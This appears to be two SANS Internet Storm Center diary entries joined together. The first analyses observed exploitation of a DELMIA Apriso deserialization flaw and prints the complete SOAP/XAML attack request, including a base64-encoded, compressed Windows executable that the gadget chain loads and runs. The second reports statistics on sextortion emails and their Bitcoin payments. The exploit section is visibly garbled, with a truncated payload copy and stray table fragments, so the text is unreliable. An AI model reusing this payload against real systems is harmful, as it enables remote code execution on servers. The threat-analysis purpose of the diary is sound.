Either way, we are seeing exploits for DELMIA Apriso related issues. The exploit we are seeing is a deserialization problem. The scans originate from %%ip:156.244.33.162%% (side quest: Is this IP located in Mexico, Argentina, or the Seychelles?)

The request:

POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke HTTP/1.1
Host: [target IP address]:9000
User-Agent: [randomized]
Connection: close
Content-Length: 8958
Content-Type: text/xml
Soapaction: "http://tempuri.org/IFlexNetOperationsService/Invoke"
Accept-Encoding: gzip

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <Invoke xmlns="http://tempuri.org/">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">

[see decoded version of the "string" below]

</string></Items></ArrayOfstring>
    </Invoke>
  </s:Body>
</s:Envelope>

The actual payload is enclosed in the "string" parameter and XML (HTML?) encoded.

The decoded version:

<ResourceDictionary&#xD;
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
>&#xD;
   <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">&#xD;
      <x:Arguments>&#xD;
         <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String>&#xD;
      </x:Arguments>&#xD;
   </s:Array>&#xD;
   <i:MemoryStream x:Key="inputStream">&#xD;
      <x:Arguments>&#xD;
         <StaticResource ResourceKey="data"></StaticResource>&#xD;
      </x:Arguments>&#xD;
   </i:MemoryStream>&#xD;
   <c:GZipStream x:Key="gzipStream">&#xD;
      <x:Arguments>&#xD;
            <StaticResource ResourceKey="inputStream"></StaticResource>&#xD;
            <c:CompressionMode>0</c:CompressionMode>&#xD;
      </x:Arguments>&#xD;
   </c:GZipStream>&#xD;
</s:Envelope> |
| 398317624 | <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <Invoke xmlns="http://tempuri.org/">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><ResourceDictionary&#xD;
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
>&#xD;
   <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">&#xD;
      <x:Arguments>&#xD;
         <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String>&#xD;
      </x:Arguments>&#xD;
   </s:Array>&#xD;
   <i:MemoryStream x:Key="inputStream">&#xD;
      <x:Arguments>&#xD;
         <StaticResource ResourceKey="data"></StaticResource>&#xD;
      </x:Arguments>&#xD;
   </i:MemoryStream>&#xD;
   <c:GZipStream x:Key="gzipStream">&#xD;
      <x:Arguments>&#xD;
            <StaticResource ResourceKey="inputStream"></StaticResource>&#xD;
            <c:CompressionMode>0</c:CompressionMode>&#xD;
      </x:Arguments>&#xD;
   </c:GZipStream>&#xD;
   <s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance">&#xD;
      <x:Arguments>&#xD;
         <x:Type TypeName="s:Byte"/>&#xD;
         <x:Int32>3584</x:Int32>&#xD;
      </x:Arguments>&#xD;
   </s:Array>&#xD;
   <ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read">&#xD;
      <ObjectDataProvider.MethodParameters>&#xD;
         <StaticResource ResourceKey="buf"></StaticResource>&#xD;
         <x:Int32>0</x:Int32>&#xD;
         <x:Int32>3584</x:Int32>&#xD;
      </ObjectDataProvider.MethodParameters>&#xD;
   </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load">&#xD;
        <ObjectDataProvider.MethodParameters>&#xD;
            <StaticResource ResourceKey="buf"></StaticResource>&#xD;
        </ObjectDataProvider.MethodParameters>&#xD;
    </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes">&#xD;
        <ObjectDataProvider.MethodParameters/>&#xD;
    </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue">&#xD;
        <ObjectDataProvider.MethodParameters>&#xD;
            <s:Int32>0</s:Int32>&#xD;
        </ObjectDataProvider.MethodParameters>&#xD;
    </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember">&#xD;
        <ObjectDataProvider.MethodParameters>&#xD;
            <x:Null/>&#xD;
            <r:BindingFlags>512</r:BindingFlags>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
        </ObjectDataProvider.MethodParameters>&#xD;
    </ObjectDataProvider>&#xD;
</ResourceDictionary>

The two identical Base64 encoded strings decode to a GZIP-compressed Windows executable. Virustotal doesn't see anything wrong with them [2]. Hyprid Analysis labels it as malicious [3]. The string "Project Discovery CVE-2025-5086" may point to the scan originating from a vulnerability scanner.

[1] https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6204
[2] https://www.virustotal.com/gui/file/292ea9dbc5a1d15b769edb5df1602418931122455223081064ad7ea4e8ab6821
[3] https://hybrid-analysis.com/sample/292ea9dbc5a1d15b769edb5df1602418931122455223081064ad7ea4e8ab6821/68b8504446b83fb2480c50bd

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu, Social Media Links

What can almost 2,000 sextortion messages tell us about how threat actors operate and whether they are successful? Let’s find out.

Although it is true that I covered sextortion in my last diary[1], I thought the topic deserved further discussion today.

This is not because we didn’t cover sextortion in enough depth here at the Internet Storm Center over the previous years – we did – for example, see the pre-2020 series of articles from Rick in which he discussed tracking of sextortion payments[2]. The reason is that in my latest diary, we only had a fairly small sample to base our observations on… And this has recently changed.

After the last diary was published, our friend and colleague “l0c4l“ from France got in touch with me and offered to share his dataset containing  approximately 1,900 sextortion messages for further analysis. And as Marlon Brando put it – it was an offer I couldn’t refuse.

After some initial cleanup of the received data, I was left with 1,888 individual sextortion messages that – according to their headers – were sent between June 2021 and August 2025. In these e-mails, there were 193 unique Bitcoin addresses to which recipients were supposed to send payments.

Although in some messages threat actors offered Ethereum (ETH) as an alternative to Bitcoin and provided a corresponding second wallet/address as a result, I only used the BTC addresses for further analysis.

Before moving on, I added the data from my own dataset (which was discussed last time) to the new dataset. After that, I ended up with 1,909 messages in which 205 unique addresses (203 BTC, 2 LTC) were used. This – although not overwhelmingly large – was a reasonable sample size for further analysis.

So, what can we learn from it?

• The use of specific cryptocurrency addresses in sextortion messages seems to be fairly short-lived. Approximately 46% of the addresses in the dataset were only used for a single day, another 21% for two days, and additional 16% for three days. Use over a time span exceeding one week was found for only 10 addresses, six of which were used for longer than a month. The “longest-living” address was used in 13 different messages sent over the course of 104 days. This pushed the average length of use to 3.7 days, with median being 2 days.
  
   
• While most addresses were used with only one message template – and correspondingly with only a single requested payment amount – this wasn’t always the case. Requests related to nine Bitcoin addresses (4.4%) varied across messages. The minimum non-zero difference identified for one address was 40 USD (threat actors asked for 250 USD in some messages and 290 USD in others), while the maximum difference was 4,500 USD (some messages asked for 500 USD, while others for 5,000 USD in connection with the same Bitcoin address).
• Considering the highest requested payment for each address, the average requested amount was 1,716 USD, with a median of 1,370 USD.
  
  
   
• The difference between the highest and lowest amounts that threat actors tried to extort was surprisingly large. In our sample, the minimum requested amount in any sextortion message was 250 USD, while the largest was 36,500 EUR (about 43,000 USD). Such large amounts were exceptional, however, as only two Bitcoin addresses were connected with requests exceeding 5,000 USD (the aforementioned one, and another one related to a request for 32,300 EUR, roughly 38,000 USD).
• Of the 205 cryptocurrency addresses in our dataset, only 57 (~28%) didn’t receive any payment at all, while the remaining addresses did. Overall, the average amount received by a single address was 0.083873483 BTC (approximately 9,150 USD at the time of writing), with median at 0.03954898 BTC (~ 4,315 USD). The largest total amount received by any single address in the dataset was 0.69163943 BTC (~ 75,459 USD).

When writing the last diary – covering cryptocurrency addresses that were used in sextortion campaigns between September 2024 and August 2025 – I was under the impression that the fact that “only” 40% of addresses in that dataset received no payments was a fairly bad result. It turns out that it was significantly better than the proportion observed in our larger dataset, which covers a much longer timespan. Hopefully this indicates a decrease in the effectiveness of sextortion over time, and decreasing willingness of recipients to pay… If so, let’s hope that this trend continues.

[1] https://isc.sans.edu/diary/Do+sextortion+scams+still+work+in+2025/32178
[2] https://isc.sans.edu/diary/Sextortion+Follow+the+Money+The+Final+Chapter/25204

-----------
Jan Kopriva
LinkedIn
Nettles Consulting